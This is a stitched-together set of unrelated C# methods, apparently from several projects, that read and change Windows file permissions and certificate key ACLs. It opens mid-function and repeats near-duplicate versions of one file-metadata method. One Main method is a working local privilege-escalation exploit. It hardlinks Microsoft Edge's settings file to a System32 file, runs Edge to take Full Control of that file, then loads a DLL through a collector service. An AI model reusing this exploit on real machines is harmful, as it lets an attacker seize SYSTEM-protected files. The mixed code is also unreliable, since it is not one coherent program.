dividedUserName[1].ToLower(); } // Get the user account to be trustee. ManagementObject userAccount = new ManagementClass(oms, new ManagementPath("Win32_Trustee"), null); userAccount.Properties["Name"].Value = UsrName; userAccount.Properties["Domain"].Value = UserDomain; ManagementObject newAce = CreateNewACE(oms, userAccount, singleUserData); // Check is User/Group exist. try { // Add ACE to DACL and set to descriptor. ArrayList daclArray = new ArrayList(dacl); daclArray.Add(newAce); descriptor.Properties["Dacl"].Value = daclArray.ToArray(); // User SetSecurityDescriptor to apply the descriptor. ManagementBaseObject inParamsCheck = fileSecurity.GetMethodParameters("SetSecurityDescriptor"); inParamsCheck["Descriptor"] = descriptor; outParams = fileSecurity.InvokeMethod("SetSecurityDescriptor", inParamsCheck, null); uint errorcodeCheck = (uint)outParams["returnValue"]; ErrorCheck(errorcodeCheck); } catch (Exception ex) { if (ex.Message.Contains("Invalid parameter")) { throw new Exception(@"User / Group does not exist or you are not authorized to change the security settings."); } else { throw new Exception(ex.Message); } } ArrayList NewdaclArray = new ArrayList(); if (bool.Parse(InheritablePermissions)) { // Remove inheritable permissions. int descriptorMask = 0x0004 | 0x1000; descriptor.Properties["ControlFlags"].Value = descriptorMask; } else { // leave all inheritable permissions foreach (var ace in dacl) { if (ace.Properties["AccessMask"] != null) { // ACE children inheritance //ace.Properties["AceFlags"].Value = 16 | 1; ManagementBaseObject mob = (ManagementBaseObject)ace.Properties["Trustee"].Value; //name += mob.Properties["Name"].Value.ToString() + ";"; string TrusteeName = string.Empty; string TrusteeDomain = string.Empty; if (mob.Properties["Domain"] != null) { if (mob.Properties["Domain"].Value != null) { TrusteeDomain = mob.Properties["Domain"].Value.ToString().ToLower(); } } if (mob.Properties["Name"] != null) { if (mob.Properties["Name"].Value != null) { TrusteeName = mob.Properties["Name"].Value.ToString().ToLower(); } } if (!string.Equals(UsrName, TrusteeName)) { NewdaclArray.Add(ace); } else { if (string.IsNullOrEmpty(UserDomain)) { if (!string.Equals(machineName, TrusteeDomain)) { NewdaclArray.Add(ace); } } else { if (!string.Equals(UserDomain, TrusteeDomain)) { NewdaclArray.Add(ace); } } } } } } // Add ACE to DACL and set to descriptor. NewdaclArray.Add(newAce); descriptor.Properties["Dacl"].Value = NewdaclArray.ToArray(); // User SetSecurityDescriptor to apply the descriptor. ManagementBaseObject inParams = fileSecurity.GetMethodParameters("SetSecurityDescriptor"); inParams["Descriptor"] = descriptor; outParams = fileSecurity.InvokeMethod("SetSecurityDescriptor", inParams, null); uint errorcode = (uint)outParams["returnValue"]; ErrorCheck(errorcode); dt.Rows.Add("Success"); } return(this.GenerateActivityResult(dt)); }
/// <summary> /// Converts a FileSystemInfo into a FileSystemObject by reading in data about the file /// </summary> /// <param name="fileInfo">A reference to a file on disk.</param> /// <param name="downloadCloud"> /// If the file is hosted in the cloud, the user has the option to include cloud files or not. /// </param> /// <param name="includeContentHash">If we should generate a hash of the file.</param> /// <returns></returns> public FileSystemObject FilePathToFileSystemObject(string path) { FileSystemObject obj = new FileSystemObject(path); // Get Owner/Group if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows)) { try { var fileSecurity = new FileSecurity(path, AccessControlSections.Owner); IdentityReference oid = fileSecurity.GetOwner(typeof(SecurityIdentifier)); obj.Owner = AsaHelpers.SidToName(oid); } catch (Exception e) { Log.Verbose("Failed to get owner for {0} ({1}:{2})", path, e.GetType(), e.Message); } try { var fileSecurity = new FileSecurity(path, AccessControlSections.Group); IdentityReference gid = fileSecurity.GetGroup(typeof(SecurityIdentifier)); obj.Group = AsaHelpers.SidToName(gid); } catch (Exception e) { Log.Verbose("Failed to get group for {0} ({1}:{2})", path, e.GetType(), e.Message); } try { var fileSecurity = new FileSecurity(path, AccessControlSections.Access); var rules = fileSecurity.GetAccessRules(true, true, typeof(SecurityIdentifier)); obj.Permissions = new Dictionary <string, string>(); foreach (FileSystemAccessRule?rule in rules) { if (rule != null) { string name = AsaHelpers.SidToName(rule.IdentityReference); foreach (var permission in rule.FileSystemRights.ToString().Split(',')) { if (obj.Permissions.ContainsKey(name)) { obj.Permissions[name] = $"{obj.Permissions[name]},{permission}"; } else { obj.Permissions.Add(name, permission); } } } } } catch (Exception e) { Log.Verbose("Failed to get FileSecurity for {0} ({1}:{2})", path, e.GetType(), e.Message); } } else if (RuntimeInformation.IsOSPlatform(OSPlatform.Linux) || RuntimeInformation.IsOSPlatform(OSPlatform.OSX)) { try { var file = new UnixSymbolicLinkInfo(path); obj.Owner = file.OwnerUser.UserName; obj.Group = file.OwnerGroup.GroupName; obj.SetGid = file.IsSetGroup; obj.SetUid = file.IsSetUser; obj.Permissions = new Dictionary <string, string>(); if (file.FileAccessPermissions.ToString().Equals("AllPermissions", StringComparison.InvariantCulture)) { obj.Permissions.Add("User", "Read,Write,Execute"); obj.Permissions.Add("Group", "Read,Write,Execute"); obj.Permissions.Add("Other", "Read,Write,Execute"); } else { var keys = new List <string>() { "User", "Group", "Other" }; var splits = file.FileAccessPermissions.ToString().Split(',').Select(x => x.Trim()); foreach (var key in keys) { foreach (var permission in splits.Where((x) => x.StartsWith(key, StringComparison.InvariantCulture))) { if (permission.Contains("ReadWriteExecute", StringComparison.InvariantCulture)) { obj.Permissions.Add(key, "Read,Write,Execute"); } else { if (obj.Permissions.ContainsKey(key)) { obj.Permissions[key] = $"{obj.Permissions[key]},{permission.Trim().Substring(key.Length)}"; } else { obj.Permissions.Add(key, permission.Trim().Substring(key.Length)); } } } } } } catch (Exception e) when( e is ArgumentNullException || e is ArgumentException || e is InvalidOperationException) { Log.Verbose("Failed to get permissions for {0} ({1}:{2})", path, e.GetType(), e.Message); } } try { FileIOPermission fiop = new FileIOPermission(FileIOPermissionAccess.Read, path); fiop.Demand(); if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows)) { if (Directory.Exists(path)) { var fileInfo = new DirectoryInfo(path); if (fileInfo.Attributes.HasFlag(FileAttributes.ReparsePoint)) { obj.IsLink = true; obj.Target = NativeMethods.GetFinalPathName(path); } else { obj.IsDirectory = true; } } else { var fileInfo = new FileInfo(path); obj.Size = fileInfo.Length; obj.SizeOnDisk = WindowsSizeOnDisk(fileInfo); // This check is to try to prevent reading of cloud based files (like a // dropbox folder) and subsequently causing a download, unless the user // specifically requests it with DownloadCloud. if (opts.DownloadCloud || obj.SizeOnDisk > 0 || WindowsFileSystemUtils.IsLocal(obj.Path)) { obj.LastModified = File.GetLastWriteTimeUtc(path); obj.Created = File.GetCreationTimeUtc(path); if (opts.GatherHashes == true) { obj.ContentHash = FileSystemUtils.GetFileHash(fileInfo); } var exeType = FileSystemUtils.GetExecutableType(path); if (exeType != EXECUTABLE_TYPE.NONE && exeType != EXECUTABLE_TYPE.UNKNOWN) { obj.IsExecutable = true; } if (exeType == EXECUTABLE_TYPE.WINDOWS) { obj.SignatureStatus = WindowsFileSystemUtils.GetSignatureStatus(path); obj.Characteristics = WindowsFileSystemUtils.GetDllCharacteristics(path); } else if (exeType == EXECUTABLE_TYPE.MACOS) { obj.MacSignatureStatus = FileSystemUtils.GetMacSignature(path); } } } } else { UnixSymbolicLinkInfo i = new UnixSymbolicLinkInfo(path); obj.FileType = i.FileType.ToString(); obj.Size = i.Length; obj.IsDirectory = false; switch (i.FileType) { case FileTypes.SymbolicLink: obj.IsLink = true; obj.Target = i.ContentsPath; break; case FileTypes.Fifo: case FileTypes.Socket: case FileTypes.BlockDevice: case FileTypes.CharacterDevice: case FileTypes.Directory: obj.IsDirectory = true; if (path?.EndsWith(".app", StringComparison.InvariantCultureIgnoreCase) ?? false) { obj.MacSignatureStatus = FileSystemUtils.GetMacSignature(path); } break; case FileTypes.RegularFile: var fileInfo = new FileInfo(path); obj.SizeOnDisk = i.BlocksAllocated * i.BlockSize; if (opts.DownloadCloud || obj.SizeOnDisk > 0) { obj.LastModified = File.GetLastWriteTimeUtc(path); obj.Created = File.GetCreationTimeUtc(path); if (opts.GatherHashes) { obj.ContentHash = FileSystemUtils.GetFileHash(path); } var exeType = FileSystemUtils.GetExecutableType(path); if (exeType != EXECUTABLE_TYPE.NONE && exeType != EXECUTABLE_TYPE.UNKNOWN) { obj.IsExecutable = true; } if (exeType == EXECUTABLE_TYPE.WINDOWS) { obj.SignatureStatus = WindowsFileSystemUtils.GetSignatureStatus(path); obj.Characteristics = WindowsFileSystemUtils.GetDllCharacteristics(path); } else if (exeType == EXECUTABLE_TYPE.MACOS) { obj.MacSignatureStatus = FileSystemUtils.GetMacSignature(path); } } break; } } } catch (Exception e) when( e is ArgumentNullException || e is SecurityException || e is ArgumentException || e is UnauthorizedAccessException || e is PathTooLongException || e is NotSupportedException || e is InvalidOperationException || e is FileNotFoundException || e is Win32Exception || e is IOException) { Log.Verbose("Failed to create FileInfo from File at {0} ({1}:{2})", path, e.GetType(), e.Message); } catch (Exception e) { Log.Debug("Should be caught in DirectoryWalker {0} {1}", e.GetType().ToString(), path); } try { obj.LastModified = File.GetLastWriteTimeUtc(path); obj.Created = File.GetCreationTimeUtc(path); } catch (Exception e) { Log.Verbose("Failed to get last modified for {0} ({1}:{2})", path, e.GetType(), e.Message); } return(obj); }
public String GetFile(String url, WindowsIdentity wi) { Common.debug("GetFile: " + url); //urldecode, because GSA sends URL for file in encoded format url = System.Web.HttpUtility.UrlDecode(url); Common.debug("afer : " + url); //FileInfo fi = new FileInfo(url); FileSecurity security = File.GetAccessControl(url); AuthorizationRuleCollection acl = security.GetAccessRules(true, true, typeof(System.Security.Principal.NTAccount)); String user = wi.Name; //check users directly Common.debug(" acl count = " + acl.Count); Common.debug("user " + wi.Name); bool bAllow = false; //check user for (int i = 0; i < acl.Count; i++) { System.Security.AccessControl.FileSystemAccessRule rule = (System.Security.AccessControl.FileSystemAccessRule)acl[i]; Common.debug("user listed in acl: '" + rule.IdentityReference.Value + "'"); Common.debug("current user:'******'"); if (user.Equals(rule.IdentityReference.Value)) { Common.debug("match user " + user); if (System.Security.AccessControl.AccessControlType.Deny.Equals(rule.AccessControlType)) { Common.debug("deny"); if (contains(FileSystemRights.Read, rule)) { Common.debug("read"); return("Deny"); //if any deny, it's deny } } if (System.Security.AccessControl.AccessControlType.Allow.Equals(rule.AccessControlType)) { Common.debug("allow"); if (contains(FileSystemRights.Read, rule)) { Common.debug("allow @ user level is set"); bAllow = true; } } } } //check groups IdentityReferenceCollection groups = wi.Groups; for (int j = 0; j < groups.Count; j++) { for (int i = 0; i < acl.Count; i++) { System.Security.AccessControl.FileSystemAccessRule rule = (System.Security.AccessControl.FileSystemAccessRule)acl[i]; IdentityReference group = groups[j].Translate(typeof(System.Security.Principal.NTAccount)); //Common.debug("check the group " + group.Value); //Common.debug("rule.IdentityReference.Value = " + rule.IdentityReference.Value); if (group.Value.Equals(rule.IdentityReference.Value)) { Common.debug("found the group!" + group.Value); if (System.Security.AccessControl.AccessControlType.Deny.Equals(rule.AccessControlType)) { Common.debug("deny"); if (contains(FileSystemRights.Read, rule)) { Common.debug("read"); return("Deny"); } } if (System.Security.AccessControl.AccessControlType.Allow.Equals(rule.AccessControlType)) { Common.debug("allow"); if (contains(FileSystemRights.Read, rule)) { Common.debug("read"); bAllow = true; } } } } } if (bAllow) { return("Permit"); } else { return("Deny"); } }
/// <summary> /// Sets the permissions to match the template on the specified directory. /// </summary> public void SetPermissions(string template, DirectoryInfo target, bool recursive) { if (target == null || !target.Exists) { throw new ArgumentException("Target directory does not exist.", "target"); } string filePath = Utils.GetAbsoluteFilePath(m_directory.FullName + "\\" + template + m_FileExtension, false, false, false); // nothing more to do if no file. if (filePath == null) { return; } FileInfo templateFile = new FileInfo(filePath); FileSecurity security1 = templateFile.GetAccessControl(AccessControlSections.Access); DirectorySecurity security2 = target.GetAccessControl(AccessControlSections.Access); foreach (AuthorizationRule rule in security2.GetAccessRules(true, true, typeof(NTAccount))) { FileSystemAccessRule fsr = rule as FileSystemAccessRule; if (fsr != null) { security2.RemoveAccessRule(fsr); } } foreach (AuthorizationRule rule in security1.GetAccessRules(true, true, typeof(NTAccount))) { FileSystemAccessRule fsr = rule as FileSystemAccessRule; if (fsr != null) { FileSystemAccessRule copy = new FileSystemAccessRule( fsr.IdentityReference, fsr.FileSystemRights, InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit, PropagationFlags.None, fsr.AccessControlType); security2.AddAccessRule(copy); } } security2.SetAccessRuleProtection(true, false); target.SetAccessControl(security2); if (recursive) { foreach (DirectoryInfo directory in target.GetDirectories()) { InheritPermissions(directory); } foreach (FileInfo file in target.GetFiles()) { InheritPermissions(file); } } }
/// <summary> /// Converts a FileSystemInfo into a FileSystemObject by reading in data about the file /// </summary> /// <param name="fileInfo">A reference to a file on disk.</param> /// <param name="downloadCloud">If the file is hosted in the cloud, the user has the option to include cloud files or not.</param> /// <param name="includeContentHash">If we should generate a hash of the file.</param> /// <returns></returns> public static FileSystemObject FilePathToFileSystemObject(string path, bool downloadCloud = false, bool includeContentHash = false) { FileSystemObject obj = new FileSystemObject(path); // Get Owner/Group if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows)) { try { var fileSecurity = new FileSecurity(path, AccessControlSections.All); IdentityReference oid = fileSecurity.GetOwner(typeof(SecurityIdentifier)); IdentityReference gid = fileSecurity.GetGroup(typeof(SecurityIdentifier)); obj.Owner = AsaHelpers.SidToName(oid); obj.Group = AsaHelpers.SidToName(gid); var rules = fileSecurity.GetAccessRules(true, true, typeof(SecurityIdentifier)); foreach (FileSystemAccessRule?rule in rules) { if (rule != null) { string name = AsaHelpers.SidToName(rule.IdentityReference); obj.Permissions = new Dictionary <string, string>(); foreach (var permission in rule.FileSystemRights.ToString().Split(',')) { if (obj.Permissions.ContainsKey(name)) { obj.Permissions[name] = $"{obj.Permissions[name]},{permission}"; } else { obj.Permissions.Add(name, permission); } } } } } catch (Exception e) when( e is ArgumentException || e is ArgumentNullException || e is DirectoryNotFoundException || e is FileNotFoundException || e is IOException || e is NotSupportedException || e is PlatformNotSupportedException || e is PathTooLongException || e is PrivilegeNotHeldException || e is SystemException || e is UnauthorizedAccessException) { Log.Verbose($"Error instantiating FileSecurity object {obj.Path} {e.GetType().ToString()}"); } } else if (RuntimeInformation.IsOSPlatform(OSPlatform.Linux) || RuntimeInformation.IsOSPlatform(OSPlatform.OSX)) { try { var file = new UnixSymbolicLinkInfo(path); obj.Owner = file.OwnerUser.UserName; obj.Group = file.OwnerGroup.GroupName; obj.SetGid = file.IsSetGroup; obj.SetUid = file.IsSetUser; obj.Permissions = new Dictionary <string, string>(); if (file.FileAccessPermissions.ToString().Equals("AllPermissions", StringComparison.InvariantCulture)) { obj.Permissions.Add("User", "Read,Write,Execute"); obj.Permissions.Add("Group", "Read,Write,Execute"); obj.Permissions.Add("Other", "Read,Write,Execute"); } else { var keys = new List <string>() { "User", "Group", "Other" }; var splits = file.FileAccessPermissions.ToString().Split(',').Select(x => x.Trim()); foreach (var key in keys) { foreach (var permission in splits.Where((x) => x.StartsWith(key, StringComparison.InvariantCulture))) { if (permission.Contains("ReadWriteExecute", StringComparison.InvariantCulture)) { obj.Permissions.Add(key, "Read,Write,Execute"); } else { if (obj.Permissions.ContainsKey(key)) { obj.Permissions[key] = $"{obj.Permissions[key]},{permission.Trim().Substring(key.Length)}"; } else { obj.Permissions.Add(key, permission.Trim().Substring(key.Length)); } } } } } } catch (Exception e) when( e is ArgumentNullException || e is ArgumentException || e is InvalidOperationException) { Log.Debug($"Failed to get permissions for {path} {e.GetType().ToString()}"); } } try { if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows)) { if (Directory.Exists(path)) { var fileInfo = new DirectoryInfo(path); if (fileInfo.Attributes.HasFlag(FileAttributes.ReparsePoint)) { obj.IsLink = true; obj.Target = NativeMethods.GetFinalPathName(path); } else { obj.IsDirectory = true; } } else { var fileInfo = new FileInfo(path); var size = (ulong)fileInfo.Length; obj.Size = size; if (WindowsFileSystemUtils.IsLocal(obj.Path) || downloadCloud) { if (includeContentHash) { obj.ContentHash = FileSystemUtils.GetFileHash(fileInfo); } obj.IsExecutable = FileSystemUtils.IsExecutable(obj.Path, size); if (obj.IsExecutable != null && (bool)obj.IsExecutable) { // TODO: This can be optimized into fewer touches, GetSignatureStatus also runs IsExecutable checks against the first 4 bytes obj.SignatureStatus = WindowsFileSystemUtils.GetSignatureStatus(path); obj.Characteristics = WindowsFileSystemUtils.GetDllCharacteristics(path); } } } } else { UnixSymbolicLinkInfo i = new UnixSymbolicLinkInfo(path); obj.FileType = i.FileType.ToString(); obj.Size = (ulong)i.Length; obj.IsDirectory = false; switch (i.FileType) { case FileTypes.SymbolicLink: obj.IsLink = true; obj.Target = i.ContentsPath; break; case FileTypes.Fifo: case FileTypes.Socket: case FileTypes.BlockDevice: case FileTypes.CharacterDevice: case FileTypes.Directory: obj.IsDirectory = true; break; case FileTypes.RegularFile: if (i.HasContents) { if (includeContentHash) { obj.ContentHash = FileSystemUtils.GetFileHash(path); } obj.IsExecutable = FileSystemUtils.IsExecutable(obj.Path, obj.Size); } break; } } } catch (Exception e) when( e is ArgumentNullException || e is SecurityException || e is ArgumentException || e is UnauthorizedAccessException || e is PathTooLongException || e is NotSupportedException || e is InvalidOperationException) { Log.Verbose("Failed to create FileInfo from File at {0} {1}", path, e.GetType().ToString()); } catch (Exception e) { Log.Debug("Should be caught in DirectoryWalker {0}", e.GetType().ToString()); } try { obj.LastModified = File.GetLastWriteTimeUtc(path); obj.Created = File.GetCreationTimeUtc(path); } catch (Exception) { } return(obj); }
public static void Main(string[] args) { if (args.Length < 1) { Console.WriteLine(" [x] Must specify filename"); return; } string filename = args[0]; string path = $@"C:\Windows\System32\{filename}"; Console.WriteLine(@" [>] Checking {0}", path); // check file exists if (!File.Exists(path)) { Console.WriteLine(" [x] File does not exist"); return; } // check target file permission bool fc = false; FileSecurity acl = CheckFilePermission(path); foreach (FileSystemAccessRule rule in acl.GetAccessRules(true, true, typeof(NTAccount))) { if (rule.IdentityReference.Value.Equals(@"NT AUTHORITY\SYSTEM") & rule.FileSystemRights.Equals(FileSystemRights.FullControl)) { fc = true; } } if (!fc) { Console.WriteLine(@" [x] NT AUTHORTIY\SYSTEM does not have Full Control over target file"); return; } else { Console.WriteLine(@" [>] NT AUTHORITY\SYSTEM has Full Control"); } // kill edge if open KillEdge(); // create hardlink string settings = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\Settings\settings.dat"; Console.WriteLine(@" [>] Creating hardlink"); NtFile ntFile; ntFile = NtFile.Open($@"\??\{path}", null, FileAccessRights.MaximumAllowed); ntFile.CreateHardlink($@"\??\{settings}"); Thread.Sleep(3000); // start edge Console.WriteLine(@" [>] Starting Edge..."); ProcessStartInfo proc = new ProcessStartInfo(); proc.FileName = @"C:\Windows\System32\cmd.exe"; proc.Arguments = @"/c start microsoft-edge:"; proc.WindowStyle = ProcessWindowStyle.Hidden; Process.Start(proc); Thread.Sleep(3000); // kill edge Console.WriteLine(@" [>] Killing Edge again..."); KillEdge(); // check file permission again fc = false; acl = CheckFilePermission(path); WindowsPrincipal self = new WindowsPrincipal(WindowsIdentity.GetCurrent()); string user = self.Identity.Name; foreach (FileSystemAccessRule rule in acl.GetAccessRules(true, true, typeof(NTAccount))) { if (rule.IdentityReference.Value.Equals(user) & rule.FileSystemRights.Equals(FileSystemRights.FullControl)) { fc = true; } } if (!fc) { Console.WriteLine(@" [x] {0} does not have Full Control over target file :(", user); return; } else { Console.WriteLine(@" [!] {0} has Full Control", user); } ntFile.Close(); Thread.Sleep(3000); // collector service magic CollectorService.DLL.Load(filename); }
public static void MakeCert( [Argument(Description = "The qualified host name of the machine to create the certificate for.")] string name ) { name = name.Trim(); //%makecert% -pe -n "CN=%1" -ss my -sr LocalMachine -cy end -h 0 -a sha1 -sky exchange -eku 1.3.6.1.5.5.7.3.1,1.3.6.1.5.5.7.3.2 -in "LocalSslRootAuthority" -is MY -ir LocalMachine -sp "Microsoft RSA SChannel Cryptographic Provider" -sy 12 %1.cer byte[] data; using (BinaryReader r = new BinaryReader(typeof(Commands).Assembly.GetManifestResourceStream(typeof(Commands).Namespace + ".makecert.exe"))) data = r.ReadBytes((int)r.BaseStream.Length); string makeCertPath = Path.Combine(Path.GetTempPath(), "makecert.exe"); File.WriteAllBytes(makeCertPath, data); ProcessRunner runner = new ProcessRunner( makeCertPath, "-r", // Create a self signed certificate "-pe", // Mark generated private key as exportable "-n", "CN={0}", // Certificate subject X500 name (eg: CN=Fred Dews) "-len", "2048", // Generated Key Length (Bits) "-a", "sha1", // The signature algorithm <md5|sha1>. Default to 'md5' "-b", "01/01/2000", // Start of the validity period; default to now. "-e", "01/01/2036", // End of validity period; defaults to 2039 "-eku", // Comma separated enhanced key usage OIDs "1.3.6.1.5.5.7.3.1," + //Server Authentication (1.3.6.1.5.5.7.3.1) "1.3.6.1.5.5.7.3.2", // Client Authentication (1.3.6.1.5.5.7.3.2) "-ss", "my", // Subject's certificate store name that stores the output certificate "-sr", "LocalMachine", //Subject's certificate store location. "-sky", "exchange", // Subject key type <signature|exchange|<integer>>. "-sp", // Subject's CryptoAPI provider's name "Microsoft RSA SChannel Cryptographic Provider", "-sy", "12", // Subject's CryptoAPI provider's type "{1}" // [outputCertificateFile] ); StringWriter swOut = new StringWriter(); runner.OutputReceived += delegate(object o, ProcessOutputEventArgs e) { swOut.WriteLine(e.Data); }; string certFile = String.Format("{0}.cer", name.TrimStart('*', '.')); if (0 != runner.RunFormatArgs(name, certFile)) { throw new ApplicationException(String.Format("makecert.exe failed to create the certificate:{0}{1}", Environment.NewLine, swOut)); } DumpCert(certFile, null); Log.Verbose("Finding private key file for certificate: {0}", certFile); //always grants network service the right to this key string fqpath = CertUtils.GetKeyFileName(new X509Certificate2(certFile)); Log.Info("Granting NETWORK SERVICE full control on: {0}", fqpath); FileUtils.GrantFullControlForFile(fqpath, WellKnownSidType.NetworkServiceSid); Console.WriteLine("Key Access:"); FileSecurity fsec = new FileSecurity(fqpath, AccessControlSections.Access); foreach (FileSystemAccessRule r in fsec.GetAccessRules(true, false, typeof(NTAccount))) { Console.WriteLine(" {0,6} {1,32} {2}", r.AccessControlType, r.IdentityReference.Value, r.FileSystemRights); } }
/// <summary> /// Converts a FileSystemInfo into a FileSystemObject by reading in data about the file /// </summary> /// <param name="fileInfo">A reference to a file on disk.</param> /// <param name="downloadCloud">If the file is hosted in the cloud, the user has the option to include cloud files or not.</param> /// <param name="includeContentHash">If we should generate a hash of the file.</param> /// <returns></returns> public static FileSystemObject FilePathToFileSystemObject(string path, bool downloadCloud = false, bool includeContentHash = false) { if (path == null) { return(null); } FileSystemObject obj = new FileSystemObject() { Path = path, }; // Get Owner/Group if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows)) { try { var fileSecurity = new FileSecurity(path, AccessControlSections.All); IdentityReference oid = fileSecurity.GetOwner(typeof(SecurityIdentifier)); IdentityReference gid = fileSecurity.GetGroup(typeof(SecurityIdentifier)); // Set the Owner and Group to the SID, in case we can't properly translate obj.Owner = oid.ToString(); obj.Group = gid.ToString(); try { // Translate owner into the string representation. obj.Owner = (oid.Translate(typeof(NTAccount)) as NTAccount).Value; } catch (IdentityNotMappedException) { Log.Verbose("Couldn't find the Owner from SID {0} for file {1}", oid.ToString(), path); } try { // Translate group into the string representation. obj.Group = (gid.Translate(typeof(NTAccount)) as NTAccount).Value; } catch (IdentityNotMappedException) { // This is fine. Some SIDs don't map to NT Accounts. Log.Verbose("Couldn't find the Group from SID {0} for file {1}", gid.ToString(), path); } var rules = fileSecurity.GetAccessRules(true, true, typeof(System.Security.Principal.SecurityIdentifier)); foreach (FileSystemAccessRule rule in rules) { string name = rule.IdentityReference.Value; try { name = rule.IdentityReference.Translate(typeof(NTAccount)).Value; } catch (IdentityNotMappedException) { // This is fine. Some SIDs don't map to NT Accounts. } foreach (var permission in rule.FileSystemRights.ToString().Split(',')) { if (obj.Permissions.ContainsKey(name)) { obj.Permissions[name] = $"{obj.Permissions[name]},{permission}"; } else { obj.Permissions.Add(name, permission); } } } } catch (Exception e) when( e is ArgumentException || e is ArgumentNullException || e is DirectoryNotFoundException || e is FileNotFoundException || e is IOException || e is NotSupportedException || e is PlatformNotSupportedException || e is PathTooLongException || e is PrivilegeNotHeldException || e is SystemException || e is UnauthorizedAccessException) { Log.Verbose($"Error instantiating FileSecurity object {obj.Path} {e.GetType().ToString()}"); } } else if (RuntimeInformation.IsOSPlatform(OSPlatform.Linux) || RuntimeInformation.IsOSPlatform(OSPlatform.OSX)) { try { var file = new UnixSymbolicLinkInfo(path); obj.Owner = file.OwnerUser.UserName; obj.Group = file.OwnerGroup.GroupName; obj.SetGid = file.IsSetGroup; obj.SetUid = file.IsSetUser; if (file.FileAccessPermissions.ToString().Equals("AllPermissions", StringComparison.InvariantCulture)) { obj.Permissions.Add("User", "Read,Write,Execute"); obj.Permissions.Add("Group", "Read,Write,Execute"); obj.Permissions.Add("Other", "Read,Write,Execute"); } else { var keys = new List <string>() { "User", "Group", "Other" }; var splits = file.FileAccessPermissions.ToString().Split(',').Select(x => x.Trim()); foreach (var key in keys) { foreach (var permission in splits.Where((x) => x.StartsWith(key, StringComparison.InvariantCulture))) { if (permission.Contains("ReadWriteExecute", StringComparison.InvariantCulture)) { obj.Permissions.Add(key, "Read,Write,Execute"); } else { if (obj.Permissions.ContainsKey(key)) { obj.Permissions[key] = $"{obj.Permissions[key]},{permission.Trim().Substring(key.Length)}"; } else { obj.Permissions.Add(key, permission.Trim().Substring(key.Length)); } } } } } } catch (Exception e) when( e is ArgumentNullException || e is ArgumentException || e is InvalidOperationException) { Log.Debug($"Failed to get permissions for {path} {e.GetType().ToString()}"); } } try { if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows)) { if (Directory.Exists(path)) { var fileInfo = new DirectoryInfo(path); if (fileInfo.Attributes.HasFlag(FileAttributes.ReparsePoint)) { obj.IsLink = true; obj.Target = NativeMethods.GetFinalPathName(path); } else { obj.IsDirectory = true; } } else { var fileInfo = new FileInfo(path); obj.Size = (ulong)fileInfo.Length; if (WindowsFileSystemUtils.IsLocal(obj.Path) || downloadCloud) { if (includeContentHash) { obj.ContentHash = FileSystemUtils.GetFileHash(fileInfo); } obj.IsExecutable = FileSystemUtils.IsExecutable(obj.Path, obj.Size); if (obj.IsExecutable) { obj.SignatureStatus = WindowsFileSystemUtils.GetSignatureStatus(path); obj.Characteristics.AddRange(WindowsFileSystemUtils.GetDllCharacteristics(path)); } } } } else { UnixSymbolicLinkInfo i = new UnixSymbolicLinkInfo(path); obj.FileType = i.FileType.ToString(); obj.Size = (ulong)i.Length; obj.IsDirectory = false; switch (i.FileType) { case FileTypes.SymbolicLink: obj.IsLink = true; obj.Target = i.ContentsPath; break; case FileTypes.Fifo: case FileTypes.Socket: case FileTypes.BlockDevice: case FileTypes.CharacterDevice: case FileTypes.Directory: obj.IsDirectory = true; break; case FileTypes.RegularFile: if (includeContentHash) { obj.ContentHash = FileSystemUtils.GetFileHash(path); } obj.IsExecutable = FileSystemUtils.IsExecutable(obj.Path, obj.Size); break; } } } catch (Exception e) when( e is ArgumentNullException || e is SecurityException || e is ArgumentException || e is UnauthorizedAccessException || e is PathTooLongException || e is NotSupportedException || e is InvalidOperationException) { Log.Verbose("Failed to create FileInfo from File at {0} {1}", path, e.GetType().ToString()); } catch (Exception e) { Log.Debug("Should be caught in DirectoryWalker {0}", e.GetType().ToString()); } return(obj); }
public static void FindCert( [Argument(Description = "The qualified host name used to created the certificate.")] string name ) { if (name.StartsWith("CN=") == false) { name = String.Format("CN={0}", name); } StringBuilder sbknown = new StringBuilder(); X509Certificate2 found = null; X509Store store = new X509Store(StoreName.My, StoreLocation.LocalMachine); store.Open(OpenFlags.ReadWrite); try { foreach (X509Certificate2 cert in store.Certificates) { if (cert.Subject == name) { found = cert; } sbknown.AppendLine(cert.Subject); } if (found != null) { Console.WriteLine("Found the following certificate:"); Console.WriteLine(); SslCertValidator.DebugDumpCertificate(found, Console.Out); Console.WriteLine("SignatureAlgorithm = {0}", found.SignatureAlgorithm); Console.WriteLine("HasPrivateKey = {0}", found.HasPrivateKey); try { Console.WriteLine("PrivateKeySize = {0}", found.PrivateKey.KeySize); } catch (Exception e) { if (found.HasPrivateKey) { Console.Error.WriteLine(e); } } Console.WriteLine(); //always grants network service the right to this key string fqpath = CertUtils.GetKeyFileName(found); Console.WriteLine("Private Key File: {0}", fqpath); if (File.Exists(fqpath)) { FileSecurity fsec = new FileSecurity(fqpath, AccessControlSections.Access); foreach (FileSystemAccessRule r in fsec.GetAccessRules(true, false, typeof(NTAccount))) { Console.WriteLine(" {0,6} {1,32} {2}", r.AccessControlType, r.IdentityReference.Value, r.FileSystemRights); } } else { Console.WriteLine("File not found."); } } } finally { store.Close(); } if (found == null) { Console.WriteLine("Unable to locate '{0}' in:", name); Console.WriteLine(sbknown.ToString()); } }
